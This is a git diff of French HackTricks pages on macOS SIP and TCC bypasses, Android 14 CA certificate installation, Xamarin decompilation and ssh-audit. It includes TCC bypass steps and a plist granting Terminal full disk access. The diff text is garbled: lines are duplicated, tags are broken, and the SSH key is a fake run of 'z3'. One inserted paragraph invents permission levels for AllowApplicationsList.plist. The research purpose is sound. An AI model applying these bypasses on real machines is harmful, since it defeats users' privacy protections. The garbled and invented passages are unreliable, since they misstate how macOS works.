<strong>| | Mount Point: /System/Volumes/Update/mnt1
</strong>| | Capacity Consumed: 128192
| | Snapshot: FAA23E0C-791C-43FF-B0E7-0E1C0810AC61
| | Snapshot Disk: disk3s1s1
<strong>| | Snapshot Mount Point: /
</strong><strong>| | Snapshot Sealed: Oui
<strong>| | Snapshot Point de Montage: /
</strong><strong>| | Snapshot Scellé: Oui
</strong>[...]
+-> Volume disk3s5 281959B7-07A1-4940-BDDF-6419360F3327
| ---------------------------------------------------
| APFS Volume Disk (Rôle): disk3s5 (Données)
| Nom: Macintosh HD - Données (Insensible à la casse)
<strong> | Point de montage: /System/Volumes/Data
</strong><strong> | Capacité consommée: 412071784448 B (412.1 Go)
| Nom: Macintosh HD - Données (Non sensible à la casse)
<strong> | Point de Montage: /System/Volumes/Data
</strong><strong> | Capacité Consommée: 412071784448 B (412.1 Go)
</strong> | Scellé: Non
| FileVault: Oui (Déverrouillé)
</code></pre>
@ -157,7 +160,7 @@ Dans la sortie précédente, il est possible de voir que les **emplacements acce
De plus, le **snapshot du volume système macOS** est monté dans `/` et il est **scellé** (signé cryptographiquement par le système d'exploitation). Ainsi, si SIP est contourné et modifié, le **système d'exploitation ne démarrera plus**.
Il est également possible de **vérifier que le scellement est activé** en exécutant :
Il est également possible de **vérifier que le scellé est activé** en exécutant :
```bash
csrutil authenticated-root status
Authenticated Root status: enabled

View file

@ -16,7 +16,7 @@
**TCC (Transparency, Consent, and Control)** est un mécanisme dans macOS pour **limiter et contrôler l'accès des applications à certaines fonctionnalités**, généralement dans une perspective de confidentialité. Cela peut inclure des services de localisation, des contacts, des photos, un microphone, une caméra, l'accessibilité, l'accès complet au disque et bien plus encore.
Du point de vue de l'utilisateur, il voit TCC en action **lorsqu'une application souhaite accéder à l'une des fonctionnalités protégées par TCC**. Lorsque cela se produit, l'utilisateur reçoit une boîte de dialogue lui demandant s'il souhaite autoriser l'accès ou non.
Du point de vue de l'utilisateur, TCC est visible **lorsqu'une application souhaite accéder à l'une des fonctionnalités protégées par TCC**. Lorsque cela se produit, **l'utilisateur est invité** avec une boîte de dialogue lui demandant s'il souhaite autoriser l'accès ou non.
Il est également possible d'**accorder aux applications l'accès** aux fichiers par **des intentions explicites** de la part des utilisateurs, par exemple lorsque l'utilisateur **glisse et dépose un fichier dans un programme** (évidemment, le programme doit y avoir accès).
@ -56,7 +56,10 @@ codesign -dv --entitlements :- /System/Library/PrivateFrameworks/TCC.framework/S
com.apple.private.tcc.manager
com.apple.rootless.storage.TCC
```
{% tab title="Base de données utilisateur" %}
{% tab title="user DB" %}
Cependant, les utilisateurs peuvent **supprimer ou interroger les règles** avec l'utilitaire en ligne de commande **`tccutil`**.
{% endtab %}
```bash
sqlite3 ~/Library/Application\ Support/com.apple.TCC/TCC.db
sqlite> .schema
@ -125,13 +128,58 @@ tccutil reset All
```
### Privesc de la base de données utilisateur TCC à FDA
En obtenant les **permissions d'écriture** sur la base de données utilisateur TCC, vous ne pouvez pas vous accorder vous-même les permissions **`FDA`**, seul celui qui se trouve dans la base de données système peut le faire.
En obtenant les **permissions d'écriture** sur la base de données utilisateur TCC, vous ne pouvez pas vous accorder vous-même les permissions **`FDA`**, seul celui qui réside dans la base de données système peut le faire.
Mais vous pouvez vous accorder les **droits d'automatisation pour Finder**, et puisque Finder a les permissions **`FDA`**, vous les avez également.
### De la contournement de SIP à la contournement de TCC
Les bases de données **TCC** sont protégées par **SIP**, c'est pourquoi seuls les processus avec les **privilèges indiqués** pourront les modifier. Par conséquent, si un attaquant trouve un **contournement de SIP** sur un **fichier** (capable de modifier un fichier restreint par SIP), il pourra **supprimer la protection** d'une base de données TCC et s'accorder toutes les permissions TCC.
Cependant, il existe une autre option pour abuser de ce **contournement de SIP pour contourner TCC**. Le fichier `/Library/Apple/Library/Bundles/TCC_Compatibility.bundle/Contents/Resources/AllowApplicationsList.plist` est une liste d'applications autorisées qui nécessitent une exception TCC. Par conséquent, si un attaquant peut **supprimer la protection SIP** de ce fichier et ajouter sa **propre application**, cette application pourra contourner TCC.
Par exemple, pour ajouter Terminal :
```bash
# Get needed info
codesign -d -r- /System/Applications/Utilities/Terminal.app
```
AllowApplicationsList.plist:
Ce fichier plist est utilisé par macOS pour gérer la liste des applications autorisées à accéder aux données protégées par le TCC (Transparency, Consent, and Control). Le TCC est un mécanisme de sécurité intégré à macOS qui protège les données sensibles de l'utilisateur en limitant l'accès des applications.
Dans ce fichier, vous pouvez spécifier les applications qui sont autorisées à accéder à des données telles que la caméra, le microphone, les contacts, les calendriers, les photos, etc. Chaque application est répertoriée avec son identifiant de bundle (Bundle ID) et son niveau d'autorisation.
Pour ajouter une application à la liste des autorisations, vous devez ajouter une entrée dans ce fichier plist en spécifiant l'identifiant de bundle de l'application et le niveau d'autorisation souhaité. Les niveaux d'autorisation disponibles sont "Full" (accès complet), "Limited" (accès limité) et "Denied" (accès refusé).
Il est important de noter que la modification de ce fichier plist nécessite des privilèges d'administrateur. Par conséquent, seuls les utilisateurs disposant des droits d'administration peuvent apporter des modifications à la liste des autorisations.
Une fois que vous avez modifié le fichier plist, vous devez redémarrer le système pour que les modifications prennent effet. Après le redémarrage, les applications spécifiées dans ce fichier auront les autorisations correspondantes pour accéder aux données protégées par le TCC.
Il est recommandé de faire preuve de prudence lors de la modification de ce fichier plist, car des erreurs peuvent entraîner des problèmes de sécurité ou de fonctionnalité. Il est préférable de consulter la documentation officielle d'Apple ou de demander l'assistance d'un professionnel qualifié si vous avez des doutes ou des questions concernant l'utilisation de ce fichier.
```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>Services</key>
<dict>
<key>SystemPolicyAllFiles</key>
<array>
<dict>
<key>CodeRequirement</key>
<string>identifier &quot;com.apple.Terminal&quot; and anchor apple</string>
<key>IdentifierType</key>
<string>bundleID</string>
<key>Identifier</key>
<string>com.apple.Terminal</string>
</dict>
</array>
</dict>
</dict>
</plist>
```
### Vérifications de signature TCC
La base de données TCC stocke l'**ID de bundle** de l'application, mais elle stocke également des **informations** sur la **signature** pour s'assurer que l'application qui demande l'autorisation est la bonne.
La **base de données** TCC stocke l'**ID de bundle** de l'application, mais elle **stocke également** des **informations** sur la **signature** pour **s'assurer** que l'application qui demande l'autorisation est la bonne.
{% code overflow="wrap" %}
```bash

View file

@ -110,7 +110,7 @@ Le démon **tccd** de l'espace utilisateur utilise la variable d'environnement *
Selon [cette publication sur Stack Exchange](https://stackoverflow.com/questions/135688/setting-environment-variables-on-os-x/3756686#3756686) et parce que le démon TCC s'exécute via `launchd` dans le domaine de l'utilisateur actuel, il est possible de **contrôler toutes les variables d'environnement** qui lui sont transmises.\
Ainsi, un **attaquant pourrait définir la variable d'environnement `$HOME`** dans **`launchctl`** pour pointer vers un **répertoire contrôlé**, **redémarrer** le démon **TCC**, puis **modifier directement la base de données TCC** pour s'attribuer **tous les privilèges TCC disponibles** sans jamais demander l'autorisation à l'utilisateur final.\
PoC :
Preuve de concept (PoC) :
```bash
# reset database just in case (no cheating!)
$> tccutil reset All
@ -147,7 +147,7 @@ Notes avait accès aux emplacements protégés par TCC, mais lorsqu'une note est
Le binaire `/usr/libexec/lsd` avec la bibliothèque `libsecurity_translocate` avait l'autorisation `com.apple.private.nullfs_allow` qui lui permettait de créer un montage **nullfs** et avait l'autorisation `com.apple.private.tcc.allow` avec **`kTCCServiceSystemPolicyAllFiles`** pour accéder à tous les fichiers.
Il était possible d'ajouter l'attribut de mise en quarantaine à "Library", d'appeler le service XPC **`com.apple.security.translocation`** et ensuite il mapperait Library vers **`$TMPDIR/AppTranslocation/d/d/Library`** où tous les documents à l'intérieur de Library pouvaient être **accessibles**.
Il était possible d'ajouter l'attribut de quarantaine à "Library", d'appeler le service XPC **`com.apple.security.translocation`** et ensuite il mapperait Library vers **`$TMPDIR/AppTranslocation/d/d/Library`** où tous les documents à l'intérieur de Library pouvaient être **accessibles**.
### CVE-2023-38571 - Music & TV <a href="#cve-2023-38571-a-macos-tcc-bypass-in-music-and-tv" id="cve-2023-38571-a-macos-tcc-bypass-in-music-and-tv"></a>
@ -303,11 +303,11 @@ Telegram avait les autorisations `com.apple.security.cs.allow-dyld-environment-v
## Par des invocations ouvertes
Il est possible d'invoquer l'ouverture dans un environnement sandboxé.
Il est possible d'invoquer `open` même lorsque le sandbox est activé&#x20;
### Scripts Terminal
Il est assez courant de donner un **Accès complet au disque (FDA)** au terminal, du moins sur les ordinateurs utilisés par les personnes techniques. Et il est possible d'invoquer des scripts **`.terminal`** en l'utilisant.
Il est assez courant de donner un **Accès complet au disque (FDA)** au terminal, du moins sur les ordinateurs utilisés par les personnes techniques. Et il est possible d'invoquer des scripts **`.terminal`** avec cela.
Les scripts **`.terminal`** sont des fichiers plist comme celui-ci avec la commande à exécuter dans la clé **`CommandString`**:
```xml
@ -342,7 +342,7 @@ exploit_location]; task.standardOutput = pipe;
### CVE-2020-9771 - Contournement de TCC et élévation de privilèges avec mount\_apfs
**N'importe quel utilisateur** (même non privilégié) peut créer et monter une sauvegarde de machine à remonter dans le temps et **accéder à TOUS les fichiers** de cette sauvegarde.\
**N'importe quel utilisateur** (même non privilégié) peut créer et monter une sauvegarde de machine à remonter le temps et **accéder à TOUS les fichiers** de cette sauvegarde.\
Le **seul privilège** requis est que l'application utilisée (comme `Terminal`) ait **un accès complet au disque** (FDA) (`kTCCServiceSystemPolicyAllfiles`), qui doit être accordé par un administrateur.
{% code overflow="wrap" %}
@ -405,7 +405,7 @@ L'outil **`/usr/sbin/asr`** permettait de copier l'ensemble du disque et de le m
Il existe une troisième base de données TCC dans **`/var/db/locationd/clients.plist`** pour indiquer les clients autorisés à **accéder aux services de localisation**.\
Le dossier **`/var/db/locationd/` n'était pas protégé contre le montage de DMG**, il était donc possible de monter notre propre plist.
## Par les applications au démarrage
## Par les applications de démarrage
{% content-ref url="../../../../macos-auto-start-locations.md" %}
[macos-auto-start-locations.md](../../../../macos-auto-start-locations.md)
@ -417,6 +417,16 @@ Le dossier **`/var/db/locationd/` n'était pas protégé contre le montage de DM
<figure><img src="../../../../../.gitbook/assets/image (4) (3).png" alt=""><figcaption></figcaption></figure>
## Clics synthétiques
Cela ne fonctionne plus, mais cela [**a fonctionné dans le passé**](https://twitter.com/noarfromspace/status/639125916233416704/photo/1)**:**
<figure><img src="../../../../../.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
Une autre méthode utilisant les [**événements CoreGraphics**](https://objectivebythesea.org/v2/talks/OBTS\_v2\_Wardle.pdf) :
<figure><img src="../../../../../.gitbook/assets/image (1).png" alt="" width="563"><figcaption></figcaption></figure>
## Référence
* [**https://medium.com/@mattshockl/cve-2020-9934-bypassing-the-os-x-transparency-consent-and-control-tcc-framework-for-4e14806f1de8**](https://medium.com/@mattshockl/cve-2020-9934-bypassing-the-os-x-transparency-consent-and-control-tcc-framework-for-4e14806f1de8)

View file

@ -12,7 +12,7 @@
</details>
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Si vous êtes intéressé par une **carrière de piratage** et souhaitez pirater l'impossible - **nous recrutons !** (_maîtrise du polonais écrit et parlé requise_).
@ -135,7 +135,7 @@ Vous pouvez voir cela dans [le prochain tutoriel](frida-tutorial-2.md).
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Si vous êtes intéressé par une **carrière de piratage** et que vous souhaitez pirater l'impossible - **nous recrutons !** (_maîtrise du polonais écrit et parlé requise_).

View file

@ -50,17 +50,17 @@ Si vous avez **rooté votre appareil avec Magisc** (peut-être un émulateur) et
Expliqué dans [**cette vidéo**](https://www.youtube.com/watch?v=qQicUW0svB8), vous devez :
1. **Installer un certificat CA** : Il vous suffit de **glisser-déposer** le certificat Burp DER en changeant l'extension en `.crt` sur le mobile afin qu'il soit stocké dans le dossier Téléchargements, puis allez dans `Installer un certificat` -> `Certificat CA`
1. **Installer un certificat CA** : Il vous suffit de **glisser-déposer** le certificat Burp DER en changeant l'extension en `.crt` sur le mobile afin qu'il soit stocké dans le dossier Téléchargements, puis accédez à `Installer un certificat` -> `Certificat CA`
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" width="164"><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" width="164"><figcaption></figcaption></figure>
* Vérifiez que le certificat a été correctement stocké en allant dans `Certificats de confiance` -> `UTILISATEUR`
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" width="334"><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" width="334"><figcaption></figcaption></figure>
2. **Rendez-le fiable pour le système** : Téléchargez le module Magisc [MagiskTrustUserCerts](https://github.com/NVISOsecurity/MagiskTrustUserCerts) (un fichier .zip), **glissez-déposez-le** sur le téléphone, allez dans l'application Magics sur le téléphone dans la section **`Modules`**, cliquez sur **`Installer depuis le stockage`**, sélectionnez le module `.zip` et une fois installé, **redémarrez** le téléphone :
<figure><img src="../../.gitbook/assets/image (2) (1) (1) (1) (1) (1).png" alt="" width="345"><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1).png" alt="" width="345"><figcaption></figcaption></figure>
* Après le redémarrage, allez dans `Certificats de confiance` -> `SYSTÈME` et vérifiez que le certificat Postswigger est présent
@ -72,7 +72,7 @@ Changements :
* Jusqu'à présent, les certificats CA de confiance du système se trouvaient dans **`/system/etc/security/cacerts/`**. Sur un émulateur AOSP standard, ceux-ci pouvaient être **modifiés directement avec un accès root** avec une configuration minimale, prenant immédiatement **effet partout**.
* À partir d'Android 14, les certificats CA de confiance du système se trouveront généralement dans **`/apex/com.android.conscrypt/cacerts`**, et tout **`/apex` est immuable**.
* Ce chemin de certificats APEX cacerts ne peut pas être remonté en écriture - les remontages échouent simplement. En fait, même si vous démontez l'ensemble du chemin à partir d'un shell root, les applications peuvent toujours lire vos certificats sans problème.
* Ce chemin de certificats APEX ne peut pas être remonté en écriture - les remontages échouent simplement. En fait, même si vous démontez l'ensemble du chemin à partir d'un shell root, les applications peuvent toujours lire vos certificats sans problème.
* La technique alternative de **monter un répertoire tmpfs par-dessus ne fonctionne pas non plus** - même si cela signifie que `ls /apex/com.android.conscrypt/cacerts` peut ne rien renvoyer (ou tout autre chose que vous aimez), les applications verront toujours les mêmes données d'origine.
* Parce que le montage `/apex` est [explicitement monté](https://cs.android.com/android/platform/superproject/main/+/main:system/core/init/mount\_namespace.cpp;l=97;drc=566c65239f1cf3fcb0d8745715e5ef1083d4bd3a) **avec une propagation PRIVÉE**, de sorte que toutes les modifications apportées aux montages à l'intérieur du chemin `/apex` ne sont jamais partagées entre les processus.
@ -81,10 +81,10 @@ Cela est fait par le processus `init` qui démarre le système d'exploitation, q
### Remontage récursif des points de montage
* Vous pouvez remonter manuellement `/apex`, en supprimant la propagation PRIVÉE et en le rendant inscriptible (ironiquement, il semble que la suppression complète de la propagation privée se propage partout)
* Vous copiez l'ensemble du contenu de `/apex/com.android.conscrypt` ailleurs
* Vous copiez l'intégralité du contenu de `/apex/com.android.conscrypt` ailleurs
* Ensuite, vous démontez complètement `/apex/com.android.conscrypt` - en supprimant le montage en lecture seule qui fournit de manière immuable ce module
* Ensuite, vous copiez le contenu à nouveau, de sorte qu'il soit directement dans le montage `/apex`, où il peut être modifié (vous devez le faire rapidement, car [apparemment](https://infosec.exchange/@g1a55er/111069489513139531) vous pouvez voir des plantages sinon)
* Cela devrait prendre effet immédiatement, mais ils recommandent de tuer `system_server` (redémarrer toutes les applications) pour remettre tout dans un état cohérent
* Ensuite, vous copiez le contenu à nouveau, de sorte qu'il soit directement dans le montage `/apex`, où il peut être modifié (vous devez le faire rapidement, car [apparemment](https://infosec.exchange/@g1a55er/111069489513139531) vous pouvez rencontrer des plantages sinon)
* Cela devrait prendre effet immédiatement, mais ils recommandent de tuer `system_server` (redémarrer toutes les applications) pour tout remettre dans un état cohérent
```bash
# Create a separate temp directory, to hold the current certificates
# Otherwise, when we add the mount we can't read the current certs anymore.

View file

@ -34,9 +34,9 @@ Il s'exécute avec le runtime Objective-C. Les environnements d'exécution s'ex
Le diagramme ci-dessous illustre cette architecture :
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
### Qu'est-ce que le .Net Runtime et le framework Mono ?
### Qu'est-ce que le .Net Runtime et le Mono Framework ?
**Le framework .Net est un ensemble d'assemblages, de classes et d'espaces de noms** que les développeurs peuvent utiliser pour créer des applications ; le .Net Runtime exécute le code compilé, et le processus s'appelle l'exécution de code géré. Le .NET Runtime offre plusieurs fonctionnalités qui garantissent l'indépendance de la plateforme et sont compatibles avec les anciennes versions du framework.
@ -54,7 +54,7 @@ Pour ouvrir la fenêtre Modules, sélectionnez Déboguer > Fenêtres > Modules.
### Compilation JIT vs AOT des applications Xamarin
Ces deux options permettent de compiler le code Xamarin basé sur C# en une application, c'est-à-dire **la compilation juste à temps et la compilation en avance**. La méthode de compilation affecte la façon dont le code de l'application est distribué dans le fichier apk ou ipa. Jetons-y rapidement un coup d'œil ci-dessous :
Ces deux options permettent de compiler le code Xamarin basé sur C# en une application, c'est-à-dire **la compilation juste à temps et la compilation en avance**. La méthode de compilation affecte la façon dont le code de l'application est distribué dans le fichier apk ou ipa. Jetons-y rapidement un coup d'œil :
\- **Android** : Xamarin vous permet de compiler en utilisant **à la fois les indicateurs JIT et AOT pour Android**. Il existe également un moyen d'obtenir le meilleur rendement d'exécution en utilisant le mode hybride AOT. Notez que le mode AOT complet est disponible uniquement pour la licence Enterprise.
@ -65,15 +65,15 @@ Si vous rencontrez une application compilée en AOT complet, et si les fichiers
{% endhint %}
## Obtenir les fichiers dll à partir de l'APK/IPA
Il suffit de **décompresser le fichier apk/ipa** et de copier tous les fichiers présents dans le répertoire des assemblies :
Il suffit de **décompresser le fichier apk/ipa** et de copier tous les fichiers présents dans le répertoire assemblies :
<figure><img src="../.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Dans le cas des **APK Android, ces fichiers dll sont compressés** et ne peuvent pas être directement utilisés pour la décompilation. Heureusement, il existe des outils que nous pouvons utiliser pour **décompresser ces fichiers dll** comme [XamAsmUnZ](https://github.com/cihansol/XamAsmUnZ) et [xamarin-decompress](https://github.com/NickstaDB/xamarin-decompress).
```
python3 xamarin-decompress.py -o /path/to/decompressed/apk
```
Il est possible que, au lieu de fichiers dll, vous trouviez des fichiers `assemblies.blob` et `assemblies.manifest` dans le répertoire des assemblies. Il s'agit d'un AssemblyStore Xamarin et de la méthode actuellement recommandée pour empaqueter des dll dans une application Android. Le fichier `assemblies.manifest` est un fichier texte décrivant le contenu du fichier binaire `assemblies.blob`. Pour les décompresser, vous devrez utiliser [pyxamstore](https://github.com/jakev/pyxamstore).
Il est possible qu'au lieu de fichiers dll, vous trouviez `assemblies.blob` et `assemblies.manifest` dans le répertoire des assemblies. Il s'agit d'un AssemblyStore Xamarin et de la méthode actuellement recommandée pour empaqueter des dll dans une application Android. Le fichier `assemblies.manifest` est un fichier texte décrivant le contenu du fichier binaire `assemblies.blob`. Pour les déballer, vous devrez utiliser [pyxamstore](https://github.com/jakev/pyxamstore).
```
pyxamstore unpack -d /path/to/decompressed/apk/assemblies/
```

View file

@ -12,7 +12,7 @@
</details>
<img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
<img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
Si vous êtes intéressé par une **carrière de piratage** et que vous voulez pirater l'impossible - **nous recrutons !** (_maîtrise du polonais écrit et parlé requise_).
@ -56,7 +56,7 @@ Content-Length: 267
* `port:15672 http`
<img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
<img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
Si vous êtes intéressé par une **carrière de piratage** et que vous souhaitez pirater l'impossible - **nous recrutons !** (_maîtrise du polonais à l'écrit et à l'oral requise_).

View file

@ -4,15 +4,15 @@
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? Ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
<img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
<img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
Si vous êtes intéressé par une **carrière en piratage** et souhaitez pirater l'impossible - **nous recrutons !** (_maîtrise du polonais écrit et parlé requise_).
@ -60,8 +60,8 @@ ssh-audit est un outil d'audit de configuration des serveurs et clients SSH.
* Collecte des algorithmes d'échange de clés, de clés d'hôte, de chiffrement et de code d'authentification des messages;
* Affichage des informations sur les algorithmes (disponibles depuis, supprimés/désactivés, non sécurisés/faibles/obsolètes, etc.);
* Recommandations sur les algorithmes (ajout ou suppression en fonction de la version du logiciel reconnu);
* Affichage des informations de sécurité (problèmes connexes, liste CVE attribuée, etc.);
* Analyse de la compatibilité de la version SSH en fonction des informations sur les algorithmes;
* Affichage des informations de sécurité (problèmes connexes, liste des CVE attribués, etc.);
* Analyse de la compatibilité des versions SSH en fonction des informations sur les algorithmes;
* Informations historiques provenant d'OpenSSH, Dropbear SSH et libssh;
* Fonctionne sur Linux et Windows;
* Aucune dépendance.
@ -88,13 +88,13 @@ $ python3 ssh-audit <IP>
### Clé SSH publique du serveur
```plaintext
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDZz6Xz3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3